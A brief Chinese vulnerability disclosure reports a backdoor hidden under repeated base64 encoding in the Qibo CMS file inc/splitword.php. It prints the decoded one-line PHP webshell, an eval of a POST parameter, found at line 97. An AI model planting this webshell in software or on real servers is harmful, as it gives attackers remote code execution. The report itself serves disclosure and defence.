### 简要描述:
齐博CMS整站系统最新版依然存在后门
### 详细说明:
齐博CMS整站系统最新版(http://down.qibosoft.com/down.php?v=v7) 中发现一个后门,
文件 inc\splitword.php,此文件采用多次循环base64 加密,解密之后第97行 :
eval($_POST['Y2hlbmdzaGlzLmMjd']);
典型的一句话木马
[<img src="https://images.seebug.org/upload/201410/2415294945b3148d8b27e2580775fd0cebf55360.jpg" alt="qibo_1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/2415294945b3148d8b27e2580775fd0cebf55360.jpg)
### 漏洞证明:
同上
暂无评论